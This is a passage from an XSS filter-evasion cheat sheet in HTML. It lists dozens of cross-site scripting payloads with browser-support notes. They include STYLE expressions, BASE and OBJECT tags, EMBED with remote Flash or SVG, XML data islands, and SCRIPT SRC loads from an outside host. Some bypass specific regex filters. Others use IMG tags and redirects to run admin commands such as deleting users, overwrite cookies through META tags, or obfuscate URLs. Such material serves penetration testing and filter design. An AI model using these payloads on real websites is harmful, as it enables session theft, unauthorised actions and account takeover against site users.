<textarea cols="45" rows="3">&lt;IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Anonymous_HTML">Anonymous HTML with STYLE attribute</a> (IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter):<br />
<textarea cols="45" rows="3">&lt;XSS STYLE="xss:expression(alert('XSS'))"&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_IMG_STYLE_expression">IMG STYLE with expression</a> (this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop):<br />
<textarea cols="45" rows="3">exp/*&lt;A STYLE='noxss:noxss("*//*"); xss:&amp;#101;x&amp;#x2F;*XSS*//*/*/pression(alert("XSS"))'&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_STYLE_tag">STYLE tag</a> (Older versions of Netscape only):<br />
<textarea cols="45" rows="3">&lt;STYLE TYPE="text/javascript"&gt;alert('XSS');&lt;/STYLE&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>] [<span class="s">NS4</span>]</div>
<p><a name="XSS_STYLE_background-image">STYLE tag using background-image</a>:<br />
<textarea cols="45" rows="3">&lt;STYLE&gt;.XSS{background-image:url("javascript:alert('XSS')");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_STYLE_background">STYLE tag using background</a>:<br />
<textarea cols="45" rows="3">&lt;STYLE type="text/css"&gt;BODY{background:url("javascript:alert('XSS')")}&lt;/STYLE&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Downlevel-Hidden">Downlevel-Hidden</a> block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:<br />
<textarea cols="45" rows="3">&lt;!--[if gte IE 4]&gt; &lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt; &lt;![endif]--&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_BASE">BASE</a> tag. Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):<br />
<textarea cols="45" rows="3">&lt;BASE HREF="javascript:alert('XSS');//"&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_OBJECT">OBJECT</a> tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:<br />
<textarea cols="45" rows="3">&lt;OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"&gt;&lt;/OBJECT&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_OBJECT_direct">Using an OBJECT tag</a> you can embed XSS directly (this is unverified so no browser support is added):<br />
<textarea cols="45" rows="3">&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert('XSS')&gt;&lt;/OBJECT&gt;</textarea></p>
<p><a name="XSS_Flash">Using an EMBED tag</a> you can embed a Flash movie that contains XSS.  <a href="http://ha.ckers.org/weird/xssflash.html">Click here for a demo</a>. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:<br />
<textarea cols="45" rows="3">&lt;EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"&gt;&lt;/EMBED&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Embed_SVG">You can EMBED SVG</a> which can contain your XSS vector. This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to <a href="http://rgaucher.info/">nEUrOO</a> for this one.<br />
<textarea cols="45" rows="3">&lt;EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"&gt;&lt;/EMBED&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Action_Script">Using ActionScript</a> inside flash can obfuscate your XSS vector:<br />
<textarea cols="45" rows="3">a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")"; eval(a+b+c+d);</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_XML_namespace">XML namespace</a>. The htc file must be located on the same server as your XSS vector:<br />
<textarea cols="45" rows="3">&lt;HTML xmlns:xss&gt;   &lt;?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"&gt;   &lt;xss:xss&gt;XSS&lt;/xss:xss&gt; &lt;/HTML&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_XML_data_island">XML data island</a> with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by <a href="http://www.sec-consult.html/">Sec Consult</a> while auditing Yahoo:<br />
<textarea cols="45" rows="3">&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC="javas]]&gt;&lt;![CDATA[cript:alert('XSS');"&gt;]]&gt; &lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_XML_data_island_comment">XML data island with comment obfuscation</a> (this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive):<br />
<textarea cols="45" rows="3">&lt;XML ID="xss"&gt;&lt;I&gt;&lt;B&gt;&amp;lt;IMG SRC="javas&lt;!-- --&gt;cript:alert('XSS')"&amp;gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt; &lt;SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"&gt;&lt;/SPAN&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Local_XML">Locally hosted XML with embedded JavaScript</a> that is generated using an XML data island. This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result <a href="http://ha.ckers.org/xssxmltest.html">here</a>:<br />
<textarea cols="45" rows="3">&lt;XML SRC="xsstest.xml" ID=I&gt;&lt;/XML&gt; &lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_HTML_plus_time">HTML+TIME in XML</a>.  This is how <a href="http://www.greymagic.com/security/advisories/gm005-mc/">Grey Magic hacked Hotmail and Yahoo!</a>. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:<br />
<textarea cols="45" rows="3">&lt;HTML&gt;&lt;BODY&gt; &lt;?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"&gt; &lt;?import namespace="t" implementation="#default#time2"&gt; &lt;t:set attributeName="innerHTML" to="XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;"&gt; &lt;/BODY&gt;&lt;/HTML&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_rename">Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript</a> file to an image as an XSS vector:<br />
<textarea cols="45" rows="3">&lt;SCRIPT SRC="http://ha.ckers.org/xss.jpg"&gt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_SSI">SSI</a> (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:<br />
<textarea cols="45" rows="3">&lt;!--#exec cmd="/bin/echo '&lt;SCR'"--&gt;&lt;!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;'"--&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_PHP">PHP</a> - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:<br />
<textarea cols="45" rows="3">&lt;? echo('&lt;SCR)'; echo('IPT&gt;alert("XSS")&lt;/SCRIPT&gt;'); ?&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_IMG_CSRF">IMG Embedded</a> commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:<br />
<textarea cols="45" rows="3">&lt;IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_IMG_CSRF_2">IMG Embedded commands part II</a> - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &lt;IMG SRC="http://badguy.com/a.jpg"&gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):<br />
<textarea cols="45" rows="3">Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Cookie_manipulation">Cookie manipulation</a> - admittidly this is pretty obscure but I have seen a few examples where &lt;META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):<br />
<textarea cols="45" rows="3">&lt;META HTTP-EQUIV="Set-Cookie" Content="USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;"&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_UTF-7">UTF-7</a> encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to <a href="http://www.pixel-apes.com/">Roman Ivanov</a> for this one).  Click <a href="http://ha.ckers.org/utf-7.html">here</a> for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. <a href="http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html">Watchfire found this hole</a> in Google's custom 404 script.: <textarea cols="45" rows="3">&lt;HEAD&gt;&lt;META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
</ul>
<p><strong>XSS using HTML quote encapsulation:</strong></p>
<ul> This was tested in IE, your mileage may vary. For performing XSS on sites that allow "&lt;SCRIPT&gt;" but don't allow "&lt;SCRIPT SRC..." by way of a regex filter "/&lt;script[^&gt;]+src/i":<br />
<textarea cols="45" rows="3">&lt;SCRIPT a="&gt;" SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>For performing XSS on sites that allow "&lt;SCRIPT&gt;" but don't allow "&lt;script src..." by way of a regex filter "/&lt;script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'"&gt;s]+))?)+s*|s*)src/i" (this is an important one, because I've seen this regex in the wild):<br />
<textarea cols="45" rows="3">&lt;SCRIPT ="&gt;" SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>Another XSS to evade the same filter, "/&lt;script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'"&gt;s]+))?)+s*|s*)src/i":<br />
<textarea cols="45" rows="3">&lt;SCRIPT a="&gt;" '' SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>Yet another XSS to evade the same filter, "/&lt;script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'"&gt;s]+))?)+s*|s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow &lt;SCRIPT&gt; tags but not remote script is a state machine (and of course there are other ways to get around this if they allow &lt;SCRIPT&gt; tags):<br />
<textarea cols="45" rows="3">&lt;SCRIPT "a='&gt;'" SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>And one last XSS attack to evade, "/&lt;script((s+w+(s*=s*(?:"(.)*?"|'(.)*?'|[^'"&gt;s]+))?)+s*|s*)src/i" using grave accents (again, doesn't work in Firefox):<br />
<textarea cols="45" rows="3">&lt;SCRIPT a=`&gt;` SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p>Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:<br />
<textarea cols="45" rows="3">&lt;SCRIPT a="&gt;'&gt;" SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:<br />
<textarea cols="45" rows="3">&lt;SCRIPT&gt;document.write("&lt;SCRI");&lt;/SCRIPT&gt;PT SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
</ul>
<p><strong>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed):</strong></p>
<ul> IP verses hostname:<br />
<textarea cols="45" rows="3">&lt;A HREF="http://66.102.7.147/"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>URL encoding:<br />
<textarea cols="45" rows="3">&lt;A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>Dword encoding (Note: there are other of variations of Dword encoding - see the <a href="http://ha.ckers.org/xss.html#ipobfuscate">IP Obfuscation calculator below</a> for more details):<br />
<textarea cols="45" rows="3">&lt;A HREF="http://1113982867/"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):<br />
<textarea cols="45" rows="3">&lt;A HREF="http://0x42.0x0000066.0x7.0x93/"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...):<br />
<textarea cols="45" rows="3">&lt;A HREF="http://0102.0146.0007.00000223/"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:<br />
<textarea cols="45" rows="3">&lt;A HREF="h tt	p://6&amp;#9;6.000146.0x7.147/"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to <a href="http://planetozh.com/">Ozh</a> for part of this one). You can also change the "//" to "\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.<br />
<textarea cols="45" rows="3">&lt;A HREF="//www.google.com/"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>Google "feeling lucky" part 1. Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0. <textarea cols="45" rows="3">&lt;A HREF="//google"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p>Google "feeling lucky" part 2. This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:<br />
<textarea cols="45" rows="3">&lt;A HREF="http://ha.ckers.org@google"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p>Google "feeling lucky" part 3. This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):<br />
<textarea cols="45" rows="3">&lt;A HREF="http://google:ha.ckers.org"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):<br />
<textarea cols="45" rows="3">&lt;A HREF="http://google.com/"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>Extra dot for absolute DNS:<br />
<textarea cols="45" rows="3">&lt;A HREF="http://www.google.com./"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>JavaScript link location:<br />
<textarea cols="45" rows="3">&lt;A HREF="javascript:document.location='http://www.google.com/'"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p>Content replace as attack vector (assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (<a href="http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php">here is an example</a>) to help create the attack vector (IE: "java&amp;#x26;#x09;script:" was converted into "java&amp;#x09;script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):<br />
<textarea cols="45" rows="3">&lt;A HREF="http://www.gohttp://www.google.com/ogle.com/"&gt;XSS&lt;/A&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
</ul>
<p><strong>Character Encoding:</strong></p>
<ul> All the possible combinations of the character "&lt;" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?):<br />
<textarea cols="45" rows="3">&lt; %3C &amp;lt &amp;lt; &amp;LT &amp;LT; &amp;#60 &amp;#060 &amp;#0060 &amp;#00060 &amp;#000060 &amp;#0000060 &amp;#60; &amp;#060; &amp;#0060; &amp;#00060; &amp;#000060; &amp;#0000060; &amp;#x3c &amp;#x03c &amp;#x003c &amp;#x0003c &amp;#x00003c &amp;#x000003c &amp;#x3c; &amp;#x03c; &amp;#x003c; &amp;#x0003c; &amp;#x00003c; &amp;#x000003c; &amp;#X3c &amp;#X03c &amp;#X003c &amp;#X0003c &amp;#X00003c &amp;#X000003c &amp;#X3c; &amp;#X03c; &amp;#X003c; &amp;#X0003c; &amp;#X00003c; &amp;#X000003c; &amp;#x3C &amp;#x03C &amp;#x003C &amp;#x0003C &amp;#x00003C &amp;#x000003C &amp;#x3C; &amp;#x03C; &amp;#x003C; &amp;#x0003C; &amp;#x00003C; &amp;#x000003C; &amp;#X3C &amp;#X03C &amp;#X003C &amp;#X0003C &amp;#X00003C &amp;#X000003C &amp;#X3C; &amp;#X03C; &amp;#X003C; &amp;#X0003C; &amp;#X00003C; &amp;#X000003C; x3c x3C u003c u003C</textarea></ul>
<h2><a name="XSScalc">Character Encoding Calculator</a></h2>
<form> <strong>ASCII Text:</strong></p>
<ul><textarea cols="45" rows="3" name="ascii">Enter your XSS here</textarea></p>
<input onclick="encode()" type="button" value="Encode" />
<input type="reset" value="Clear" /></ul>
<p><strong>Hex Value:</strong></p>
<ul> URL:</p>
<input  class="textbox"name="hex" size="60" type="text" />
<input onclick="decode()" size="50" type="button" value="Decode Hex to ASCII" />
HTML (with semicolons):</p>
<input  class="textbox"name="hexhtml" size="60" type="text" />
<input onclick="convertHexToASCII()" size="50" type="button" value="Decode Hex Entities to ASCII" /></ul>
